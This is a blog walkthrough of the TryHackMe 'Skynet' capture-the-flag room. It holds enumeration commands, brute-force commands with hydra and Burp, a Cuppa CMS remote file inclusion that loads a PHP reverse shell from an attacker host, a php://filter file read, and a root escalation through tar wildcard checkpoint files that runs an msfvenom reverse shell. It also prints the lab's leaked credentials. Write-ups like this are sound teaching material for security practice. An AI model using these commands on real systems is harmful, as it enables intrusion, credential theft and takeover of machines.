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THM- SkyNet

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Recon

Network Enum

I ran a nmap scan on the target machine.

  • ssh (22): Worth exploring
  • http (80): Web server is running
  • pop (110): Maybe an email server is running?
  • netbios-ssn (139): Worth exploring
  • imap (143): Maybe an email server is running?
  • microsoft-ds (445): SMB is worth exploring

Web Enum

I ran gobuster to spider the directory in the web server

gobuster dir -u http://10.10.134.0:80/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 40

From the scan result, I see these are directories found:

  • /admin
  • /css
  • /js
  • /config
  • /ai
  • /squirrelmail (this will be interesting to explore)

Most of the directories are restricted.

The squirrelmail page is working but I will need the login credentials.

I don’t have the credentials at the moment. So now the goal is to find out the email credential.

Service Enum

Now I am going to look at the SMB service running at port 445.

I ran the command to connect to the SMB’s anonymous share

smbclient //[TARGET IP]/anonymous

The files look promising to find a clue on how to get the email credentials.

I ran another command to get the content of the SMB share:

smbget -R smb://[TARGET IP]/anonymous

After inspecting the content, I found a list of possible passwords (maybe they belong to Miles?).

Using Burp Intruder, I brute-force the password with username (milesdyson).

Eventually, the password for milesdyson is cyborg007haloterminator

Once I login as milesdyson, I saw a bunch of emails. After reading one of the email, I saw that the SMB password for milesdyson was leaked.

To summarize, these are the found credentials:

Username: milesdyson

Email Password: cyborg007haloterminator

SMB Password: )s{A&2Z=F^n_E.B`

I tried to connect to the SMB milesdyson share with the username and password:

smbclient //[TARGET IP]/milesdyson -U=milesdyson

Then I manage to login to milesdyson share.

At first glance, most of the files are some machine learning pdf.

I went into the notes folder. There are a bunch of markdowns.

But I spotted a textfile named as “important.txt”.

Inside this important.txt file, I saw that milesdyson have a custom CMS with the link “

Spider the directory in the CMS.

Initially I had an issue because I didn’t put the backslash for the URL.

After I have done so, I ran this command:

gobuster dir -u http://10.10.134.0:80/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 40

  • /administrator was found.

Navigate to this directory and I can see a CMS named “Cuppa CMS”.

Foothold

To summarize, I found three possible ways to gain a foothold into the system.

  • ssh
  • squirrelmail
  • Cuppa CMS

ssh

I tried to brute-force using hydra with username

hydra -l milesdyson -P /usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-500.txt [TARGET IP] ssh

But this does not work.

Squirrelmail

I searched for possible exploits for squirrelmail (version 1.4.23).

There is an interesting exploit for RCE.

https://legalhackers.com/advisories/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html

I followed the steps but the exploit does not work.

Cuppa CMS

I struggle to find the credentials to login to Cuppa CMS (tried with milesdyson credentials to see if password is reused).

I searched for Cuppa CMS exploit and this seems promising

https://www.exploit-db.com/exploits/25971

Basically, we can call a remote file without login to Cuppa CMS.

The examples given in the exploit

http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

Now I started a python server so that the CMS can call my shell files.

I tried a few ways to execute a shell.

For example, a basic php web shell with CMD param. But this does not work.

I look for more information about the configuration file.

http://10.10.134.0/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php

It seems like there is a file extension restriction. For example, txt and jpeg are allowed. But php is not allowed.

I tried to create a php reverse shell and then change the magic number of the file to jpeg using hexeditor. This will make the Linux machine interpret the file as a jpeg file.

I started the nc listener.

I ran the command to call the php reverse shell:
http://10.10.134.0/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.4.3.145:8889/php-reverse-shell.php

This works and I have shell to the machine.

Immediately I enter the id and whoami command to check what is this account.

This account is “www-data”

I can also find the usr flag in milesdyson home directory

Now I gained a foothold, I will need to escalate privilege.

Privilege Escalation

I tried to use sudo but there is an error. It seems like the shell is “jailed”.

Basically we need to spawn a tty shell. (Link: https://netsec.ws/?p=337)

I used python command to spawn:
python -c 'import pty; pty.spawn("/bin/sh")'

Now I can sudo but this seems useless since I don’t know the password of the current user “www-data user”.

Then I ran some Linux enumeration scripts (lse.sh and LinEnum.sh).

It seems like the possible vectors are the crontab and the suid binaries.

I tried with the suid binaries and struggled because of the sudo issue where I don’t know the password. So much time wasted here

So I looked at the crontab. It seems like there is a backup.sh job executed by the root user.

I looked at the content of backup.sh:

#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *

So the root user cd into /var/www/html and then perform a backup.

Well I think I am in control of the /var/www/html folder.

I looked at the Linux PE checklist again and found a similar attack vector with the use of wildcard in tar.

https://app.gitbook.com/@bobbylin/s/oscp-playbook/privilege-escalation/linux-privesc#wildcards

I should follow the exact steps. I observed that I miss out one step.

I created two files:

touch /home/user/--checkpoint=1 
touch /home/user/--checkpoint-action=exec=shell.elf

Then I created the shell.elf in attacker machine and download in target machine.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=[ATTACKER IP] LPORT=3333 -f elf -o shell.elf

Now I started the listener at the correct port and wait.

After a few minutes, there are no connection from target machine.

This is when I took a hint and saw that there is something wrong with my shell file

I changed the command to:

touch "/home/user/--checkpoint-action=exec=sh shell.elf"

This works and I managed to connect as root.

Look for the root.txt under root directories.

Published inTryHackMeWalkthrough

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